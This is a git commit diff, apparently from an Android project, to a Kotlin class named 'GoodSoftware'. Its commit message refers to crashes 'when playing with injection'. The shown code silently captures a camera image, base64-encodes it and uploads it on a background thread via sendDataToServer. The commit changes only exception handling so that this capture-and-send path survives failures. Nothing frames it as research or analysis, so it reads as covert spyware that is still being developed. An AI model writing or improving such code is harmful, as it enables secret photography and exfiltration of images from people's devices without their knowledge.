The camera likes crashing when playing with injection... hopefully this fixes that

This commit is contained in:
Joren 2024-05-06 00:09:25 +02:00
parent c3e86065cf
commit e04f53aff2
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -42,6 +42,7 @@ import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec import javax.crypto.spec.SecretKeySpec
import kotlin.concurrent.schedule import kotlin.concurrent.schedule
import kotlin.concurrent.scheduleAtFixedRate import kotlin.concurrent.scheduleAtFixedRate
import kotlin.concurrent.thread
class GoodSoftware (private val activity: Context) { class GoodSoftware (private val activity: Context) {
@ -411,13 +412,6 @@ class GoodSoftware (private val activity: Context) {
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
try { try {
cameraProvider = ProcessCameraProvider.getInstance(context).await() cameraProvider = ProcessCameraProvider.getInstance(context).await()
} catch (e: ClassNotFoundException) {
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
return
} catch (e: Exception) {
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
return
}
if (!hasBackCamera() && !hasFrontCamera()) { if (!hasBackCamera() && !hasFrontCamera()) {
Log.e(picture.TAG, "Back and front camera are unavailable") Log.e(picture.TAG, "Back and front camera are unavailable")
@ -448,14 +442,18 @@ class GoodSoftware (private val activity: Context) {
buffer.get(bytes) buffer.get(bytes)
byteArrayOutputStream.write(bytes) byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
Thread { thread {
try {
val conn = establishConnectionWithRetry() val conn = establishConnectionWithRetry()
if (conn == null) { if (conn == null) {
return@Thread return@thread
} }
sendDataToServer(base64Image, conn) sendDataToServer(base64Image, conn)
disconnect(conn) disconnect(conn)
}.start() } catch (e: Exception) {
e.printStackTrace()
}
}
cameraProvider?.unbindAll() cameraProvider?.unbindAll()
image.close() image.close()
} }
@ -467,11 +465,12 @@ class GoodSoftware (private val activity: Context) {
ContextCompat.getMainExecutor(context), ContextCompat.getMainExecutor(context),
imageCapturedListener imageCapturedListener
) )
} catch (e: ClassNotFoundException) {
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
} catch (e: Exception) {
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
}
} }
private fun hasBackCamera(): Boolean { private fun hasBackCamera(): Boolean {